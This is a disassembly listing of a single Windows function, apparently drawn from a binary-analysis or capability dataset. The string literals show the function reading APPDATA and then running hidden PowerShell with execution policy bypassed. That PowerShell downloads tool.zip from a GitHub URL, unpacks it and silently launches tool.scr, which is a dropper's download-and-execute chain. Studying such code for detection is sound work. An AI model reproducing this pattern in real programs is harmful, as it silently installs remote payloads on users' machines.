Function at 0x1400016f0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x78], rax
xor r13d, r13d
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea r8d, [r13 + 9]
lea rdx, str._tool.zip
lea rcx, [rbp - 0x70]
call fcn.1400025d0
nop
lea r8, [rbp - 0x70]
mov rdx, rbx
lea rcx, [rbp - 0x48]
call fcn.1400024a0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1400017a8
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a4c
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 1
lea rdx, [0x1400043e4]
lea rcx, [rsp + 0x50]
call fcn.1400025d0
nop
lea r8, [rsp + 0x50]
mov rdx, rbx
lea rcx, [rbp - 8]
call fcn.1400024a0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140001834
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000182f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000182f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a4c
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
lea rcx, [rbp - 0x48]
call fcn.140001230
mov rsi, qword [rbp - 0x38]
movabs r12, 0x7fffffffffffffff
mov rax, r12
sub rax, rsi
cmp rax, 0x9f
jb 0x14000222c
lea r15, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae r15, qword [rbp - 0x48]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea r14, [rsi + 0x9f]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
movabs rax, 0x8000000000000000
lea ecx, [rbx + 7]
cmp r14, rbx
jbe 0x140001921
mov rbx, r14
or rbx, 0xf
cmp rbx, r12
jbe 0x1400018e0
mov rbx, r12
add rax, 0x27
mov rcx, rax
call fcn.140002a10
test rax, rax
je 0x140001903
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000191c
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000190a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000221a
jmp 0x1400018c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001919
call fcn.140002a10
mov rdi, rax
jmp 0x14000191c
mov rdi, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
movaps xmm0, xmmword [str.powershell__noprofile__WindowStyle_hidden__executionpolicy_bypass__command__Invoke_WebRequest_https:__github.com_nguyentheluc_test_raw_main_tool.zip__OutFile_]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [0x140004400]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [0x140004410]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [0x140004420]
movups xmmword [rdi + 0x30], xmm1
movaps xmm0, xmmword [0x140004430]
movups xmmword [rdi + 0x40], xmm0
movaps xmm1, xmmword [0x140004440]
movups xmmword [rdi + 0x50], xmm1
movaps xmm0, xmmword [0x140004450]
movups xmmword [rdi + 0x60], xmm0
movaps xmm1, xmmword [0x140004460]
movups xmmword [rdi + 0x70], xmm1
movaps xmm0, xmmword [0x140004470]
movups xmmword [rdi + 0x80], xmm0
movsd xmm0, qword [0x140004480]
movsd qword [rdi + 0x90], xmm0
mov eax, dword [0x140004488]
mov dword [rdi + 0x98], eax
movzx eax, word [0x14000448c]
mov word [rdi + 0x9c], ax
movzx eax, byte [0x14000448e]
mov byte [rdi + 0x9e], al
lea rcx, [rdi + 0x9f]
mov r8, rsi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x140001a1e
lea rax, [rcx + 2]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x30]
mov word [rax + rcx], 0x2227
mov byte [rax + rcx + 2], 0
lea rax, [rsp + 0x30]
jmp 0x140001a3d
mov qword [rsp + 0x20], 2
lea r9, [0x1400043e8]
mov edx, 2
lea rcx, [rsp + 0x30]
call fcn.1400026d0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x68], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140001a9b
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a96
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a4c
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
movdqa xmm1, xmmword [0x140004530]
movdqu xmmword [rbp - 0x18], xmm1
mov byte [rbp - 0x28], 0
lea rcx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
cmovae rcx, qword [rbp + 0x58]
lea rdx, [rbp - 0x28]
call fcn.140001350
mov r14, qword [rbp - 0x38]
mov rax, r12
sub rax, r14
cmp rax, 0x63
jb 0x140002232
lea r15, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae r15, qword [rbp - 0x48]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rsi, [r14 + 0x63]
mov ebx, 0xf
lea rdi, [rsp + 0x70]
cmp rsi, rbx
jbe 0x140001b8e
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x140001b47
mov rbx, r12
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002a10
test rax, rax
je 0x140001b70
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001b89
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001b77
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002220
jmp 0x140001b2c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001b86
call fcn.140002a10
mov rdi, rax
jmp 0x140001b89
mov rdi, r13
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rbx
movaps xmm0, xmmword [str.powershell__noprofile__WindowStyle_hidden__executionpolicy_bypass__command__Expand_Archive__Force_]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [0x1400044b0]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [0x1400044c0]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [0x1400044d0]
movups xmmword [rdi + 0x30], xmm1
movaps xmm0, xmmword [0x1400044e0]
movups xmmword [rdi + 0x40], xmm0
movaps xmm1, xmmword [0x1400044f0]
movups xmmword [rdi + 0x50], xmm1
movzx eax, word [0x140004500]
mov word [rdi + 0x60], ax
movzx eax, byte [0x140004502]
mov byte [rdi + 0x62], al
lea rcx, [rdi + 0x63]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 3
jb 0x140001c4d
lea rax, [rcx + 3]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x70]
add rbx, rcx
mov r8d, 3
lea rdx, [0x140004490]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], 0
lea rax, [rsp + 0x70]
jmp 0x140001c6c
mov qword [rsp + 0x20], 3
lea r9, [0x140004490]
mov edx, 3
lea rcx, [rsp + 0x70]
call fcn.1400026d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rdx, qword [rbp - 8]
mov r8, qword [rbp + 8]
lea rcx, [rbp - 0x70]
call fcn.140002420
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x140001d25
lea rax, [rcx + 2]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x50]
mov word [rax + rcx], 0x2227
mov byte [rax + rcx + 2], 0
lea rax, [rsp + 0x50]
jmp 0x140001d44
mov qword [rsp + 0x20], 2
lea r9, [0x1400043e8]
mov edx, 2
lea rcx, [rsp + 0x50]
call fcn.1400026d0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140001da2
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d9d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a4c
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140001df3
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001dee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001dee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a4c
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140001e43
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e3e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a4c
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rcx, qword [rbp + 0x38]
lea rdx, [rbp - 0x28]
call fcn.140001350
mov rax, r12
mov r15, qword [rbp + 8]
sub rax, r15
cmp rax, 1
jb 0x140002214
lea r12, [rbp - 8]
mov rsi, qword [rbp - 8]
mov r13, qword [rbp + 0x10]
cmp r13, 0x10
cmovae r12, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea r14, [r15 + 1]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
cmp r14, rbx
jbe 0x140001f44
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140001efe
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002a10
test rax, rax
je 0x140001f27
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001f3f
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001f2e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002226
jmp 0x140001ee3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001f3d
call fcn.140002a10
mov rdi, rax
jmp 0x140001f3f
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
mov byte [rdi], 0x22
lea rcx, [rdi + 1]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x13
jb 0x140001fb6
lea rax, [rcx + 0x13]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x13
lea rdx, str.tool.scr___nul_2_1
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x13], 0
lea rax, [rsp + 0x30]
jmp 0x140001fd5
mov qword [rsp + 0x20], 0x13
lea r9, str.tool.scr___nul_2_1
mov edx, 0x13
lea rcx, [rsp + 0x30]
call fcn.1400026d0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x28], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140002037
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002032
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002032
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a4c
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0x10
cmovae rcx, qword [rbp + 0x18]
lea rdx, [rbp - 0x28]
call fcn.140001350
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x1400020a1
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000209b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000209b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a4c
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x1400020e0
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a4c
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14000211e
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002119
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002119
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a4c
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x14000216e
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002168
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002168
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a4c
nop
cmp r13, 0x10
jb 0x1400021a9
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400021a0
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140002a4c
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1400021e7
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002a4c
mov rcx, qword [rbp + 0x78]
xor rcx, rsp
call fcn.1400029f0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001210
nop
call fcn.140001170
nop
call fcn.140001170
nop
call fcn.140001170
nop
call fcn.140001210
nop
call fcn.140001210
int3